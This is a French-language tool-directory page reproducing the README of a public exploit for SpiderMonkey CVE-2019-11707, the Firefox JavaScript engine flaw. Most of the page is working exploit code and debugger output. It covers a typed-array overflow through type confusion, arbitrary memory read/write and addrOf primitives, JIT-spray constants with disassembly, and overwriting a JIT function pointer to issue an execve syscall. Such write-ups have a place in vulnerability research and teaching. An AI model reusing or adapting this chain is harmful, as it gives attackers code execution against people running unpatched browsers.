Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
Outils/GitHubGitHub/flabbergastedbd/cve-2019-11707
Analyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebGénération de ShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Voir le dépôt
225il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Captures d'écran

source

exploit

Fichiers

  • exploit.js - Exploit réel, précédé des util.js & Int64.js de saelo.
  • stager.js - Utilisé pour créer les constantes, précédé des util.js & Int64.js de saelo.
  • stager.py - Utilisé pour assembler les instructions avec keystone. La sortie est fournie à stager.js.
  • Aperçu de l'exploit

    • Utiliser la confusion de type pour écrire au-delà d'un buffer de tableau typé (fait dans setup()).
    root@kitploit:~
    const exploit_pack = [
      new Uint8Array(0x10),
      new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
      new Uint8Array(0x10), // Arbitrary RW array
    ]
    
    • TLDR: Écrire au-delà du buffer sous-jacent de exploit_pack[0] vers le champ pointeur de données de exploit_pack[1]. Le faire pointer vers l'adresse du champ pointeur de données de exploit_pack[2].
    root@kitploit:~
          // setup()
          const v11 = v4.pop();
          const addr = v11[11];
          v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
    
    • Lecture/écriture arbitraire possible, l'adresse peut être définie comme contenu de exploit_pack[1], ce qui modifie en interne le pointeur de données de exploit_pack[2]. Ensuite, utilisez exploit_pack[2] pour lire ou écrire en mémoire.
    root@kitploit:~
    function read(ptr) {
      read_addr = new Int64(ptr);
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = read_addr.byteAt(idx);
      }
    
      let bytes = exploit_pack[2].slice(0, 8);
      // Remove 0xfffe in pointer
      // bytes[7] = 0x00; bytes[6] = 0x00;
      obj_addr = new Int64(bytes);
      // console.log(obj_addr);
      return obj_addr;
      // console.log(new Int64(obj_addr));
    }
    
    function write(ptr, value) {
      let addr = new Int64(ptr);
      let bytes = new Int64(value);
    
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = addr.byteAt(idx);
      }
    
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[2][idx] = bytes.byteAt(idx);
      }
    }
    
    • En utilisant exploit_pack lui-même, construire une primitive addrOf.
    root@kitploit:~
    function addrOf(obj) {
      exploit_pack[3] = obj;
    
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = leaking_addr.byteAt(idx);
      }
    
      let bytes = exploit_pack[2].slice(0, 8);
      // Remove 0xfffe in pointer
      bytes[7] = 0x00; bytes[6] = 0x00;
      obj_addr = new Int64(bytes);
      // console.log(obj_addr);
      return obj_addr;
      // console.log(new Int64(obj_addr));
    }
    
    • Effectuer un JIT spray de base, parcourir certaines structures pour obtenir le pointeur de fonction JIT, trouver un offset intéressant pour sauter. Écraser le pointeur de fonction réel avec cet offset.

    JIT Spray

    • En bref, nous pouvons forcer des fonctions comme celles ci-dessous dans des pages r-x.
    root@kitploit:~
    const stager = function (a, b, c, d) {
      const rax = a;
      const rdi = b;
      const rsi = c;
      const rdx = d;
    
      const g0 = 9.073632937307107e-271;
      const g1 = 1.6063957816990143e-270;
      const g2 = 1.6082444981830348e-270;
      const g3 = 1.6100929890177583e-270;
      const g4 = 1.6119413952339954e-270;
      const g5 = 1.68020602465e-313;
    }
    
    • Après le JIT, cela ressemble à quelque chose comme ci-dessous. Vous pouvez voir notre constante 0xdeadc0debaad.

    Actual JIT

    root@kitploit:~
    gef➤  disas /r 0x0000085a6e604531,+20
    Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
       0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
       0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
       0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
    End of assembler dump.
    
    • Si les mêmes octets commencent à être interprétés comme des instructions à partir d'un offset différent, comme ci-dessous, tout change. C'est l'essence du JIT spray.

    Offset JIT

    root@kitploit:~
    gef➤  disas /r 0x0000085a6e604542,+10
    Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
       0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
       0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
    End of assembler dump.
    
    • L'idée est de contourner les octets 4c 89 5d XX 49 bb 00 d'une manière ou d'une autre avec 7 octets que nous contrôlons. Nous pouvons sauter par-dessus ces octets en utilisant un jmp relatif.
    root@kitploit:~
    $ rasm2 -a x86 -b 64 "jmp 7"
    eb05
    
    • Un jmp relatif prend donc 2 octets, nous avons 5 octets pour écrire nos instructions assembleur. Les paramètres de la fonction JIT sont disponibles à un offset sur la pile lorsque notre fonction est appelée. C'est pourquoi notre fonction JIT prenait des paramètres.

    registers

    • Selon la convention d'appel X86-64 pour les appels système sous Linux, nous avons besoin des éléments suivants dans les registres pour un appel système execve.
    root@kitploit:~
    rax: syscall number
    rdi: program path
    rsi: argv
    rdx: envp
    
    • Les instructions mov suivantes sont une aubaine pour déplacer des valeurs depuis un offset sur la pile vers les registres pertinents. Elles font exactement 5 octets.
    root@kitploit:~
    $ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
    488b442428
    
    • Nous pouvons donc construire nos constantes. Référez-vous à stager.py -> stager.js pour voir comment elles ont été générées.

    • Il suffit d'écraser le pointeur de fonction JIT réel dans la structure de l'objet et de le remplacer par l'offset. Appelez la fonction avec les paramètres.

    root@kitploit:~
    write(jitGetter, jmpOffset);
    stager(
      new Int64(59).asDouble(),
      new Int64(pathAddr).asDouble(),
      new Int64(argvBufferAddr).asDouble(),
      new Int64(environBufferAddr).asDouble());
    
    • Vu la façon dont stager est écrit, il est facile d'effectuer n'importe quel appel système, avec 3 arguments.

    Liens super utiles

    • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
    • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
    • https://vigneshsrao.github.io/writeup/
    • https://github.com/saelo/jscpwn
    Télécharger l’outil